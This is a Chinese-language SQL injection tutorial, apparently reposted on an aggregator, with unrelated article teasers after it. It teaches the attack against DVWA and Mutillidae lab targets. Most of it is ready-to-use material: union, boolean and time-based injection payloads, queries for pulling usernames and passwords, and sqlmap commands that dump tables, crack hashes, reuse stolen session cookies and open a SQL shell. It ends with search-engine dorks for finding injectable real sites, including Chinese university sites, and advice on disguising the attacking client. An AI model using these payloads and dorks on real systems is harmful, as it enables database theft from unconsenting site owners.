4.2 sql手工注入和自动注入实战(OWASP实战训练)

4.2 sql手工注入和自动注入实战(OWASP实战训练)

  • 引言
  • 1. information_schema
    • 1.1 查询数据库名(TABLE_SCHEMA)、表名(TABLE_NAME) information_schema.tables
    • 1.2 查询数据库名、表名、字段名(column_name) information_schema.columns
  • 2. sql注入流程
  • 3. 手动注入实战
    • 3.1 基于错误的注入
    • 3.2 基于布尔的注入
    • 3.3 基于union的注入
      • (1)猜测数据列数
      • (2)获得当前数据库及用户信息
      • (3)查询数据库中所有表
      • (4)查询所有库名
      • (5)查看所有库中所有表名
      • (6)同时查询表名及对应库名
      • (7)查询数据表
      • (8)查询数据列
    • 3.4 基于时间的盲注
  • 4. sqlmap自动注入
    • 4.1 Sqlmap参数解析:
    • 4.2 sqlmap get方式注入
    • 4.3 示例步骤:
      • (0)测试是否有注入点
      • (1)获取所有数据库名
      • (2)获取Wordpress数据库下的所有表
      • (3)获取数据库WordPress库中wp_users 表中的列
      • (4)在数据库WordPress中wp_users 表中两个列
      • (5)指定字典
      • (6)cookie登录
    • 4.4 POST方法注入
      • (1)攻击测试
      • (2)获取所有数据库
      • (3)获取表
      • (4)也可以直接将表dump下来,这样就不需要看列了
      • (5)查看列
      • (6)查看列的具体内容
    • 4.5 提权操作
  • 5 综合实例
    • (1)通过谷歌搜索可能存在注入的页面
    • (2)通过百度搜索可能存在注入的页面

引言

问题:
(1)第一并不知道前面字段数
(2)后面字段是什么也不知道
(3)如果知道前面有5个字段的话,怎么去给后面字段补上5个,如何补齐字段,用数字凑
(4)不知道系统有多少库,不知道表,以及字段,就谈不上获取数据

  下面认识一个非常重要的库information_schema在mysql数据库中就能看到,这个库非常重要,是数据库字典,保存的是整个数据库中所有表库等等的信息,没有数据只是保存信息,比如有哪些库,有哪些表,有哪些字段等等。
  比如平时show databases 其实是从这个库拿到的信息
  只要是查库查表,显示的动作都是查的information这个库。如果将information_schema删除了,什么也不会查到,记录的所有的库的源信息。

1. information_schema

1.1 查询数据库名(TABLE_SCHEMA)、表名(TABLE_NAME) information_schema.tables

mysql> select * from information_schema.TABLES\G;
mysql> select DISTINCT TABLE_SCHEMA from information_schema.TABLES;		//等价于show databases     DISTINCT去除重复,查看所有库名
mysql> select TABLE_SCHEMA,TABLE_NAME from information_schema.TABLES\G;
mysql> select TABLE_SCHEMA,GROUP_CONCAT(TABLE_NAME) from information_schema.TABLES GROUP BY TABLE_SCHEMA\G;				//CONCAT字段拼接,分组查询,用处不大,不用记住
mysql> select TABLE_NAME from INFORMATION_SCHEMA.tables where TABLE_SCHEMA=’dvwa’;
//等价于showtables从dvwa库中,查看表名

1.2 查询数据库名、表名、字段名(column_name) information_schema.columns

mysql> select * from information_schema.columns\G;		//得到所有列的信息
mysql> select column_name from INFORMATION_SCHEMA.columns;	//得到所有表的所有列,无意义,不用记住
mysql> select column_name from INFORMATION_SCHEMA.columns where table_schema='dvwa'and table_name='users';		//某个库中某个表的列,记住
mysql> select column_name from INFORMATION_SCHEMA.columns where table_name =‘USER_PRIVILEGES’;
mysql> select column_name from INFORMATION_SCHEMA.columns where table_name =‘SCHEMA_PRIVILEGES’

  Tables所有数据库的所有表名,这就叫数据库字典,查的东西都在这
  我们还需要去看库和表吗,不需要,根本不知道哪个和表,但是可以从information_schema中获得库和表,最后从库和列获取内容就可以了。

当发现注入点的时候第一步输入:

mysql> select DISTINCT TABLE_SCHEMA from information_schema.TABLES;		
//等价于show databases     DISTINCT去除重复,查看所有库名

第二步查看某个库下有哪些表:

mysql> select TABLE_NAME from INFORMATION_SCHEMA.tables where TABLE_SCHEMA=’dvwa’;
//等价于showtables从dvwa库中,查看表名

  上面是可以看到表的信息,我们关注的还有字段的信息列,desc在联合查询中是不能使用的,只能使用sql语句

  1,使用布尔注入或加一个为真的条件,让表中所有记录显示(只能获得此表中的信息),那要获得其他表信息怎么办,要知道库名叫什么,再知道表名,再知道字段。只有知道字段后,到此才可以组织union查询字段的名字
  2,查那个库的那个表的那个字段,字段不够用数字凑

  Information库有很多表,tables(所有数据库表信息)和columns(所有数据库表中字段信息列信息)

  在了解了一些基础后,就开始了解注入,首先注入这个就像猜列一样,很难猜,我怎么知道那个地方有注入点,这个需要扫

2. sql注入流程

(1)判断是否有sql注入漏洞
(2)判断操作系统、数据库、和web应用的类型
(3)获取数据库信息,包括管理员信息及拖库
(4)加密信息破解,sqlmap可自动破解
(5)提升权限,获得sql-shell,os-shell、登录应用后台

3. 手动注入实战

3.1 基于错误的注入

  错误注入的思路是通过构造特殊的sql语句,根据得到的错误信息,确认sql注入点;
  通过数据库报错信息,也可以探测到数据库的类型和其他有用信息。
通过输入单引号,触发数据库异常,通过异常日志诊断数据库类型,例如这里是mysql数据库。

  输入单引号报语法错误,说明能接受单引号,是有反应的,语法错误是注入点,输入错误则是其将这个过滤掉了。

3.2 基于布尔的注入

布尔逻辑注入的思路是闭合sql语句、构造or和and逻辑语句、注释多余的代码;

原语句:SELECT first_name, last_name FROM users WHERE user_id = ' '
在搜索框中输入:' or 1=1 --yangge //--表示注释后面所有语句
现语句:SELECT first_name, last_name FROM users WHERE user_id = ' ' or 1=1 --yangge'

注意我们不需加分号,执行语句时其会自动加上
说明:
第一个 用于闭合前面的条件
Or 1=1 为真的条件
--将注释后面的所有语句

3.3 基于union的注入

Union语句用于联合前面的select查询语句,合并查询更多信息;
一般通过错误和布尔注入确认注入点之后,便开始通过union语句来获取有效信息。

(1)猜测数据列数

' union select 1 --  ' 
' union select 1,2 --  ' 
' union select 1,2,3 --  ' 
' union select 1,2,3,4 --  ' 

sql注入语句解析:

SELECT first_name, last_name FROM users WHERE user_id = ' ' union select 1 --  '  '
SELECT first_name, last_name FROM users WHERE user_id = ' ' union select 1,2 --  '  '

(2)获得当前数据库及用户信息

' union select  version(), database() --  ' 
' union select  user(), database() --  ' 

//因为测试出字段为2个,所以使用两个字段查询自己想要的

SELECT first_name, last_name FROM users WHERE user_id = '' union select  version(), database() --  ''
version() 获取数据库版本信息
database() 获取当前数据库名
user()	获取当前用户名

(3)查询数据库中所有表

Information_schema数据库mysql自带的,它提供了访问数据库原数据的方式;
原数据包括数据库名、表名、列数据类型、访问权限、字符集等基础信息。

Sql注入语句解析:

mysql> select * from information_schema.TABLES\G;		//整个系统所有数据库信息(所有库名和表名)

(4)查询所有库名

' union select TABLE_SCHEMA,1 from INFORMATION_SCHEMA.tables -- '
SELECT first_name, last_name FROM users WHERE user_id = ' ' union select TABLE_SCHEMA,1 from INFORMATION_SCHEMA.tables -- ' '

  因为权限的问题在靶机上只能看到两个库,并不像在Xshell上的mysql中可以将所有数据库名看到。

(5)查看所有库中所有表名

' union select table_name,1 from INFORMATION_SCHEMA.tables -- '
SELECT first_name, last_name FROM users WHERE user_id = ' ' union select table_name,1 from INFORMATION_SCHEMA.tables -- ' '

(6)同时查询表名及对应库名

' union select TABLE_SCHEMA, table_name from INFORMATION_SCHEMA.tables -- '
SELECT first_name, last_name FROM users WHERE user_id = ' ' union select TABLE_SCHEMA, table_name from INFORMATION_SCHEMA.tables -- ' '

//原始数据

SELECT first_name, last_name FROM users WHERE user_id = '$id'

(7)查询数据表

' union select 1,column_name from INFORMATION_SCHEMA.columns where table_name= 'users' -- '
' union select 1,column_name from INFORMATION_SCHEMA.columns where table_name= 'USER_PRAVILEGES' -- '
' union select 1,column_name from INFORMATION_SCHEMA.columns where table_name= 'SCHEMA_PRIVILEGES' -- '

sql注入语句解析:

SELECT first_name, last_name FROM users WHERE user_id = ' ' union select 1,column_name from INFORMATION_SCHEMA.columns where table_name= 'users' -- ' '

  这里没有加库名table_schema的限制,因为我们知道这里的用户只是普通用户,只能看到几个库,所以在搜索框中查询user不怕和别的库中的user重复,正常是要将库名和表名一起限制的。

(8)查询数据列

' union select NULL,user from users -- '			//没有写库名的限制,使用的是当前库
' union select NULL,password from users -- '' union select user,password from users -- '
' union select NULL,GRANTEE from USER_PRAVILEGES -- '
' union select password,concat(first_name,'  ',last_name,'  ',user) from users -- '

//concat是将括号后面的几个挤到一个字段内,不加空格的话会比较难看
//sql注入语句解析:

mysql>  use dvwa;
SELECT first_name, last_name FROM users WHERE user_id = '' union select password, concat(first_name,'',last_name,'',user) from users -- ''

3.4 基于时间的盲注

下面有一个比较奇怪的注入点(在sql injection (blind)模块中)
输入单引号后没有反应,
怎么判断是不是注入点呢?我们可以这样做,基于时间盲注,如下
注意始终单引号闭合,注释
先给个真条件再带个sleep

1' and sleep(5) -- '

//and与,每查一个条件不仅判断前面条件是否成立,还要判断后面停5秒钟
Sql注入语句解析:

SELECT first_name, last_name FROM users WHERE user_id = '1' and sleep(5) -- ''

  这个语句输入之后,会发现在上方刷新了一段时间

  注意先输入一个真条件如2,提交后有对应显示,说明2是一个真条件,再在后面加上and sleep(10) 使其能延迟,可以看到上面刷新10秒故存在注入点

4. sqlmap自动注入

更有意义,当然是以手工注入为基础的
  Sql注入比较好用的工具,首推开源工具sqlmap。Sqlmap是一个国内外著名的安全稳定性测试工具,可以用来进行自动化检测,利用sql注入漏洞,获取数据库服务器的权限。它具有功能强大的检测引擎,针对各种不同类型数据库的安全稳定性测试的功能选项,包括获取数据库存储的数据,访问操作系统文件甚至可以通过外带数据连接的方式执行操作系统命令。
  Sqlmap支持mysql,Oracle,postgresql,Microsoft sqlserver,Microsoft access,IBM DB2,sqllite,firebird,Sybase和SAP maxDB等数据库的各种安全漏洞检测。

Sqlmap是python开发的

4.1 Sqlmap参数解析:

--users获得所有用户
--current-user 当前用户
--current-db 当前数据库
--dbs
-D “database_name” --tables		 //指定某一数据库,显示其所有表名
-D “database_name” -T “table_name” --columns	//指定某一库的某个标下的所有列--dump-all					//整个数据库全部dump下来,不在乎那个数据库那个表
--dump-all --exclude-sysdbs		//排除系统库,没有必要用下面的指令
-D “databse_name” -T “table_name”--dump			//将某个表dump下来
-D “databse_name” -T “table_name”-C “username,password” --dump
//-C指定列名,查看列的内容
--batch  //自动化完成

4.2 sqlmap get方式注入

我们可以使用Google搜索带有
http://192.168.56.103/dvwa/vulnerabilities/sqli_blind/?id=1可能存在注入点的网站

搜索inurl .php?id= 在搜索框中输入这个可以显示出很多可能带有注入点的网站

User-agent 当我攻击它的时候他以看就知道使用的是火狐,sqlmap,ie等攻击的
Random_agent 随机客户端迷惑别人

Dbms后跟一个已经确定的数据库,减少注入探测时间。如果不指定会进行各种测试判断其数据库类型

Sqlmap -u“http://192.168.56.103/dvwa/vulnerabilities/sqli/?id=1”--dbms=mysqlSqlmap -u“http://192.168.56.103/dvwa/vulnerabilities/sqli/?id=1”--batch  //自动判断并攻击Sqlmap -u“http://192.168.56.103/dvwa/vulnerabilities/sqli/?id=1”--batch --level=5 --risk=3
//如果刚开始自动攻击不太成功的话,可以加大风险,有可能就注入成功了。

  当复制全部时也可以使用-p指定某个参数 如

Sqlmap -u“http://192.168.56.103/dvwa/vulnerabilities/sqli/?id=1”-p=id

  之前有个admin admin登录,那么当用sqlmap攻击时会有个重定向错误,会跳到登录页面,我们先一放使用不需登录就可以注入的

  使用sqlmap探测后,如果成功了会将结果保存在当前文件夹下,再次探测会非常的快就结束了。

root@kali:~# sqlmap -u "http://192.168.56.103/mutillidae/index.php?page=user-info.php&username=zhuzhuxia&password=123&user-info-php-submit-button=View+Account+Details" --batch -p username

  此处是batch是自动攻击,无需自己选择Y/N,-p是指定注入点,否则其会一个个的试探,会比较慢。
  在后面加上--dbs会将所有数据库给列出来。如下

sqlmap -u "http://192.168.56.103/mutillidae/index.php?page=user-info.php&username=zhuzhuxia&password=123&user-info-php-submit-button=View+Account+Details" --batch -p username --dbs

注意:替换的是--dbs

4.3 示例步骤:

(0)测试是否有注入点

Sqlmap -u“http://192.168.56.103/dvwa/vulnerabilities/sqli/?id=1”--batch  

(1)获取所有数据库名

root@kali:~# sqlmap -u " http://192.168.56.103/mutillidae/index.php?page=user-info.php&username=zhuzhuxia&password=123&user-info-php-submit-button=View+Account+Details" --batch -p username --dbs

(2)获取Wordpress数据库下的所有表

root@kali:~# sqlmap -u " http://192.168.56.103/mutillidae/index.php?page=user-info.php&username=zhuzhuxia&password=123&user-info-php-submit-button=View+Account+Details" --batch -p username -D wordpress --tables

(3)获取数据库WordPress库中wp_users 表中的列

root@kali:~# sqlmap -u " http://192.168.56.103/mutillidae/index.php?page=user-info.php&username=zhuzhuxia&password=123&user-info-php-submit-button=View+Account+Details" --batch -p username -D wordpress -T wp_users --columns

(4)在数据库WordPress中wp_users 表中两个列

root@kali:~# sqlmap -u "http://192.168.56.103/mutillidae/index.php?page=user-info.php&username=zhuzhuxia&password=123&user-info-php-submit-button=View+Account+Details"  --batch -p username -D wordpress -T wp_users -C "user_login,user_pass" --dump

  这个是将user_login,user_pass两个列给解密出来了,其实也可以用第(5)步,直接将整个表dump下来,这样第(4)步就不需要了。

root@kali:~# sqlmap -u "http://192.168.56.103/mutillidae/index.php?page=user-info.php&username=zhuzhuxia&password=123&user-info-php-submit-button=View+Account+Details"  --batch -p username -D wordpress -T wp_users  --dump

(5)指定字典

  在攻击时它有一个默认字典,我们也可以指定字典,会将哈希加密密码解析成明文,是从字典中去查的。/usr/share/sqlmap/data/txt/wordlist.tx_这就是默认字典路径。我们可以自己指定字典,就是在后面不要让其自动执行(去掉–batch),到时候选择自己的字典即可。

(6)cookie登录

  这个是没有输入任何账号进入到注入页面中的,可以直接注入,而另一个需要登录才能到注入页面的,会导致失败,这个该怎么办。如果注入点直接在外部直接注入就行。如果那需要登录,我们使用cookie登录。
  注意在浏览器中我们清除历史,将cookie也清除掉,点击其他的按钮时会需要再此输入密码。

4.4 POST方法注入

需要带cookie才能访问的注入页面,--cookie=””

  当登录完后,会将你的用户名和密码信息在服务器端保存在session会话中,session存储位置默认是内存,也可以是磁盘,也可以是关系型数据库。总之,账号密码信息保存在session中,它那边会保存很多session,怎么分清谁是谁的,服务器会产生sessionid,这个id作为客户端拿着存在cookie中。
  每个网站用户名密码信息放在session中,服务器为每个session生成一个sessionid,客户端将此id放在自己浏览器的cookie中,再此登录此网站,就拿这个对应的sessionid去访问,就不用再输入密码了。
  早先用户名密码保存在cookie中的,这样是不安全的,现在用户名和密码保存在服务器中,生成对应sessionid,这样cookie会保存很多个网站的sessionid,登录那个网站就用哪个sessionid。
  若是有人将你的cookie拿走啦,也能登录此网站,账号密码不会过期,而cookie网站一关闭可能就过期了。

  现在我们已经登录DVWA这个网站,上面已经有cookie信息了,我们如何拿cookie呢?在火狐上有很多关于cookie的插件,如小饼干cookie quick manager,点击进入,管理所有cookie,能查看到所有登录网站的cookie,cookie被人拿走是一件可怕的事,有些网站cookie过期时间比较长,就算将网站关了,下次再登陆有上去了,这样更可怕。大部分关闭网站还需登录的。
  Sqlmap没办法对此页面DVWA进行注入,原因是需要先登录输入密码,我们就不登录了,使用它的cookie就行了。
  如果有多个cookie中间需要\隔开

注意复制时是冒号,应将cookie:改成cookie=这样才行,如下

(1)攻击测试

root@kali:~# sqlmap -u "http://192.168.0.107/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --batch --cookie="PHPSESSID=v0n30vg3v2j4f06b6f0if0o557;security=low;acopendivids=swingset,jotto,phpbb2,redmine;acgroupswithpersist=nada" 

(2)获取所有数据库

root@kali:~# sqlmap -u "http://192.168.0.107/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --batch --cookie="PHPSESSID=v0n30vg3v2j4f06b6f0if0o557;security=low;acopendivids=swingset,jotto,phpbb2,redmine;acgroupswithpersist=nada" --dbs

(3)获取表

root@kali:~# sqlmap -u "http://192.168.0.107/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --batch --cookie="PHPSESSID=v0n30vg3v2j4f06b6f0if0o557;security=low;acopendivids=swingset,jotto,phpbb2,redmine;acgroupswithpersist=nada" -D dvwa --tables

(4)也可以直接将表dump下来,这样就不需要看列了

root@kali:~# sqlmap -u "http://192.168.0.107/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --batch --cookie="PHPSESSID=v0n30vg3v2j4f06b6f0if0o557;security=low;acopendivids=swingset,jotto,phpbb2,redmine;acgroupswithpersist=nada" -D dvwa -T users --dump

(5)查看列

root@kali:~# sqlmap -u "http://192.168.0.107/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --batch --cookie="PHPSESSID=v0n30vg3v2j4f06b6f0if0o557;security=low;acopendivids=swingset,jotto,phpbb2,redmine;acgroupswithpersist=nada" -D dvwa -T users --columns

(6)查看列的具体内容

root@kali:~# sqlmap -u "http://192.168.0.107/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --batch --cookie="PHPSESSID=v0n30vg3v2j4f06b6f0if0o557;security=low;acopendivids=swingset,jotto,phpbb2,redmine;acgroupswithpersist=nada" -D dvwa -T users -C "user,password" --dump

Sqlmap的功能只是讲到了其中的一部分,还有很多

4.5 提权操作

  我们可以获得一个sqlshell的权限,相当于进入一个交互模式,接着就能在里面执行操作。

//与数据库交互 --sql-shell
root@kali:~# sqlmap -u "http://192.168.0.107/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --batch --cookie="PHPSESSID=v0n30vg3v2j4f06b6f0if0o557;security=low;acopendivids=swingset,jotto,phpbb2,redmine;acgroupswithpersist=nada" --sql-shellSql-shell> select * from users;
//sqlshell功能很强大,但不是所有sql命令都能使用

5 综合实例

  怎么去谷歌找很简单,当然在后面会讲到如何使用谷歌查找有用信息,这里主要是入门,sql注入的原理,手动注入加深理解,自动注入记住命令,sql注入风险很大,一旦拿到用户有注入漏洞,至少这个数据库就会被整个拖库,如何防御,只能开发人员对输入的单引号进行判断了,否则安全性真的没有。

(1)通过谷歌搜索可能存在注入的页面

inurl:.php?id=
inurl:.jsp?id=
inurl:.asp?id=
inurl:/admin/login.php
inurl:.php?id= intitle:美女

(2)通过百度搜索可能存在注入的页面

inurl:news.asp?id= site:edu.cn
inurl:news.php?id=	site:edu.cn
inurl:news.aspx?id= site:edu.cn

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/861476.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

基于单片机和 Arduino 平台的六自由度可控机械手臂

摘 要 : 为了降低机械手臂的设计开发难度 , 并使之尽早地投入应用 , 设计一种基于单片机和 Arduino 平台的六自由度可控机械手臂 。提出六自由度可控机械手臂的控制方案, 给出机械手臂控制系统的结构框图 。 详细设计六自由度可控机械手臂…

Websocket在Java中的实践——自动注册端点

在《Websocket在Java中的实践——握手拦截器》中我们使用握手拦截器实现了路径解析的工作。这个过程略显复杂,因为路径解析这样比较底层的工作应该由框架来解决,而不应该交由开发者来做。本文介绍的自动注册端点的功能就可以很优雅的解决这个问题。 依赖…

【机器学习】python之人工智能应用篇--游戏生成技术

游戏生成技术,特别是生成式人工智能(Generative Artificial Intelligence, 简称Generative AI),正逐步革新游戏开发的多个层面,从内容创作到体验设计。这些技术主要利用机器学习、深度学习以及程序化内容生成&#xff…

Batch入门学习

Batch脚本是一种用于自动化任务的脚本语言,主要在Windows操作系统下使用。它通过一系列命令语句来执行特定的任务,如文件管理、程序执行等。下面是Batch脚本入门学习的基本内容: ### 1. 基础语法 #### 文件扩展名 Batch脚本的文件扩展名通常…

[C++][设计模式][原型模式]详细讲解

1.动机 在软件系统中,经常面临这“某些结构复杂的对象”的创建工作;由于需求的变化,这些对象经常面临着剧烈的变化,但是它们却拥有比较稳定一致的接口如何应对这种变化?如何向“客户程序(使用这些对象的程序)”隔离出…

【python语法】*args和**kwargs的理解

*args 是打包和拆分为元组 args有两部分构成为——和args。这里的重点是。 所以为了讲清楚args,我们要追根溯源——理解*的作用。这里的args只是一个参数名称而已,可以用其他的替换,比如下面的示例中都使用number进行替换。 *的作用&#x…

excel FORMULA

在Excel中,FORMULA 实际上是一个拼写错误。您可能是指 FORMULA 的正确拼写 FORMULA(这在Excel中不是有效的函数或关键字),但更可能是您想要讨论的是FORMULA(公式)的创建或使用。 在Excel中,您可…

STM32HAL库--IIC实验(速记版)

STM32 的普通 IO 口模拟 IIC 时序,可实现与 EEPROM 外设双向通信。 IIC 简介 IIC(Inter-Integrated Circuit)总线是一种由 PHILIPS 公司开发的两线式串行总线,用于连接微控制器以及其外围设备。 IIC 是由数据线 SDA 和时钟线 SCL 构成的串行总线。 IIC …

PostgreSQL的扩展(extensions)-常用的扩展-pg_pathman

PostgreSQL的扩展(extensions)-常用的扩展-pg_pathman pg_pathman 是一个用于 PostgreSQL 的分区管理扩展。它提供了一种高效的方式来管理和使用数据库分区,可以显著提升查询性能,特别是在处理大规模数据集时。 安装 pg_pathman…

Markdown 表格

Markdown 表格 Markdown 是一种轻量级标记语言,广泛用于格式化文本。它简单易学,支持多种平台,是许多程序员和作家喜爱的工具。在 Markdown 中创建表格,可以清晰地展示数据和信息。本文将详细介绍如何在 Markdown 中创建和使用表格。 Markdown 表格的基本结构 Markdown …

在数据库领域是如何实现“多租户”的呢?

数据库多租技术介绍 随着云计算时代的到来,多租户的概念也逐渐广为人知。“多租户”使得租户之间可以共享物理资源,能够帮助用户节约硬件成本和运维成本,提高资源利用效率。同时,在实现的过程中,考虑到共享带来的安全…

three.js - matcap材质(MeshMatcapMaterial)

说一下matcap纹理 先总结:MeshMatcapMaterial材质,通过采样含有光照信息的贴图来模拟光照效果。这种材质特别适用于模拟静态光源下的光照,并且,因其简单性和快速性而被广泛应用于各种场景。但是,由于其性能考虑&#x…

系统思考—啤酒游戏经营决策沙盘

在日常的教学中,我们通过系统思考仿真演练深入探索决策背后的动因。例如,我经常教授的麻省理工学院研发的“啤酒游戏”和“人民航空策略模拟”,这些都是麻省理工MBA学生的必修课。此外,还有更简洁的“红黑游戏”“收获季节”等模拟…

ElasticSearch索引架构与存储

关于ES官网的介绍: Elasticsearch provides near real-time search and analytics for all types of data. Whether you have structured or unstructured text, numerical data, or geospatial data, Elasticsearch can efficiently store and index it in a way that support…

在低版本Excel中创建次级下拉列表

在低版本中indirect函数不支持选区,创建次级下拉列表得依靠“名称管理”给选区命名。 (笔记模板由python脚本于2024年06月26日 06:24:22创建,本篇笔记适合常用Excel处理数据的coder翻阅) 【学习的细节是欢悦的历程】 Python 官网:https://www…

mid360配置lio-sam、point-lio和faster-lio(faster-lio未敢配置)

一、使用mid360配置lio-sam 1.首先从GitHub - nkymzsy/LIO-SAM-MID360 at Livox-ros-driver2 下载能支持mid360的lio-sam版本到 ws_livox/src中,直接编译,就可以成功。 2.使用 roslaunch lio_sam run6axis.launch以及播之前我才记得Mid360的包&#x…

Redis 缓存一致性

Redis 业务结构 流程图 缓存一致性 Redis 和 MySQL 中数据保持一致 双检加锁策略 主要用于解决多线程环境下的并发问题,确保在高并发场景下对共享资源的访问是互斥的,避免因竞争条件导致的不一致状态 public User findUserById(Integer id) {User user …

idea中maven新增的配置文件xx.xml没生效问题

项目场景: 因为公司使用自己的私服下载jar,则没有使用默认的settings.xml文件。而是新增了一个settingsold.xml文件 问题描述 公司项目有用自己的私服,Maven正常去私服下载jar包是没问题的。但是一直是去找的阿里云镜像,到导致阿里云镜像找不到相关的jar包报错!!!…

前端:Nuxt2 + Vuetify2

想要开发一个网站,并且支持SEO搜索,当然离不开我们的 Nuxt ,那通过本篇文章让我们一起了解一下。如果构建一个Nuxt项目 安装 Nuxt,创建项目 安装nuxt2, 需要node v16,大家记得查看自己的node版本。构建脚…

linux 往文件中写日志函数 C语言

函数的参数:想往日志里写什么就加什么参数 改完参数记得更改sprintf()中的参数 下面代码写在日志中的格式: 时间|进程绝对路径|IP|端口|结果 void writeRecord(const char* bufTime,const char* processPath,const char* ip,const char* port,const char* ret) {char* reco…